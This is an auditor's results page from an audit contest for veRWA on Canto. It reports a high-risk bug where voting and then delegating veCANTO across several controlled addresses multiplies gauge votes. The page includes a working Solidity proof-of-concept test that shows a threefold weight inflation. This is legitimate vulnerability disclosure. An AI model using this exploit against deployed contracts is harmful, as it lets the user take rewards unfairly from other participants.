veRWA - Tricko's results

Incentivization Primitive for Real World Assets on Canto

General Information

Platform: Code4rena

Start Date: 07/08/2023

Pot Size: $36,500 USDC

Total HM: 11

Participants: 125

Period: 3 days

Judge: alcueca

Total Solo HM: 4

Id: 274

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 46/125

Findings: 1

Award: $36.94

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

36.9443 USDC - $36.94

Labels

bug
3 (High Risk)
satisfactory
upgraded by judge
duplicate-396

External Links

Lines of code

https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/GaugeController.sol#L211-L278 https://github.com/code-423n4/2023-08-verwa/blob/498a3004d577c8c5d0c71bff99ea3a7907b5ec23/src/VotingEscrow.sol#L356-L387

Vulnerability details

Impact

The GaugeController retrieves the most recent Point data from the user, which is then utilized to compute their voting power for the designated gauges. Nonetheless, there are no safeguards in place to hinder users from transferring their veCANTO after casting their votes for the gauges. This particular vulnerability can be exploited by malicious users to artificially amplify the weights of gauges by repeatedly engaging in a cycle of voting and delegating to new addresses. This gives the attacker an unfair advantage in the distribution of rewards.

Proof of Concept

Consider the vote_for_gauge_weights function, during its execution it retrieves the slope value from the latest user's Point. However it cannot guarantee that the user will keep those point until the end of the epoch. This can be exploited by an attacker that first votes for an specific gauge, then delegate his veCANTO to another address he controls to be able to vote again for the same gauge, and keep doing this as many times as the attacker wants in a single epoch, allowing him to arbitrarily increase any gauge weights for an epoch. As an example consider the the following sequence: Address 1 votes -> Delegate to address 2 -> Address 2 votes -> Delegate to address 3 -> Address 3 votes -> (...) -> Delegte to address N-1 -> Address N-1 votes -> Delegate to address N -> Address N votes.

By doing this the attacker can multiply his votes by N (be N the amount of addresses of the attacker) for the same amount of veCANTO locked, enabling him to artifically inflate any gauge weight. This can be used by this attacker to increase his rewards based on the inflated gauges.

Consider the following POC comparing a chain of 3 addresses with and without the inflation attack and the resulting log from the test. As we can see from the logs of the following POC, in both cases (control and inflate) the total amount locked by the attacker addresses are the same (102*1e18) however the resulting gauge weight is three times bigger for the inflate case.

Control: Final gauge weight: 101329315068211574401 Inflate: Final gauge weight: 300014246575282780801

POC code below:

pragma solidity >=0.8.0;

import {Utilities} from "./utils/Utilities.sol";
import {console} from "./utils/Console.sol";
import {VotingEscrow} from "../VotingEscrow.sol";
import {GaugeController} from "../GaugeController.sol";
import {Test} from "forge-std/Test.sol";

contract GaugeControllerTest is Test {
    Utilities internal utils;
    address payable[] internal users;
    address internal gov;
    address internal attackerAddr1;
    address internal attackerAddr2;
    address internal attackerAddr3;
    address internal gauge1;
    VotingEscrow internal ve;
    GaugeController internal gc;

    function setUp() public {
        utils = new Utilities();
        users = utils.createUsers(5);
        (gov, attackerAddr1, attackerAddr2, attackerAddr3, gauge1) = (users[0], users[1], users[2], users[3], users[4]);
        ve = new VotingEscrow("VotingEscrow", "VE");
        gc = new GaugeController(address(ve), address(gov));

        //Setup attacker addresses
        vm.deal(attackerAddr1, 100 ether);
        vm.prank(attackerAddr1);
        ve.createLock{value: 100 ether}(100 ether);

        vm.deal(attackerAddr2, 1 ether);
        vm.prank(attackerAddr2);
        ve.createLock{value: 1 ether}(1 ether);

        vm.deal(attackerAddr3, 1 ether);
        vm.prank(attackerAddr3);
        ve.createLock{value: 1 ether}(1 ether);
        
        //Setup gauge
        vm.startPrank(gov);
        gc.add_gauge(gauge1);
        gc.change_gauge_weight(gauge1, 1);
    }

    function testControl() public {
        vm.startPrank(attackerAddr1);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.stopPrank();

        vm.startPrank(attackerAddr2);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.stopPrank();

        vm.startPrank(attackerAddr3);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.stopPrank();

        console.log("Control: Final gauge weight: ", gc.get_gauge_weight(gauge1));
    }
    
    function testInflate() public {
        vm.startPrank(attackerAddr1);
        gc.vote_for_gauge_weights(gauge1, 10000);
        ve.delegate(attackerAddr2);
        vm.stopPrank();

        vm.startPrank(attackerAddr2);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.stopPrank();

        vm.prank(attackerAddr1);
        ve.delegate(attackerAddr3);

        vm.startPrank(attackerAddr3);
        gc.vote_for_gauge_weights(gauge1, 10000);
        vm.stopPrank();

        console.log("Inflate: Final gauge weight: ", gc.get_gauge_weight(gauge1));
    }
}

Tools Used

Manual Review

Consider setting up a sync similar to the one used by LendingLedger. After the user delegates its veCANTO to another address, VotingEscrow calls this sync method to update the resulting gauge weights.

Assessed type

Other

#0 - c4-pre-sort

2023-08-11T13:33:19Z

141345 marked the issue as duplicate of #45

#1 - c4-pre-sort

2023-08-13T13:17:01Z

141345 marked the issue as duplicate of #99

#2 - c4-pre-sort

2023-08-13T17:09:20Z

141345 marked the issue as duplicate of #178

#3 - c4-pre-sort

2023-08-13T17:38:15Z

141345 marked the issue as not a duplicate

#4 - c4-pre-sort

2023-08-13T17:38:34Z

141345 marked the issue as duplicate of #86

#5 - c4-judge

2023-08-25T10:51:34Z

alcueca changed the severity to 3 (High Risk)

#6 - c4-judge

2023-08-25T10:54:33Z

alcueca marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter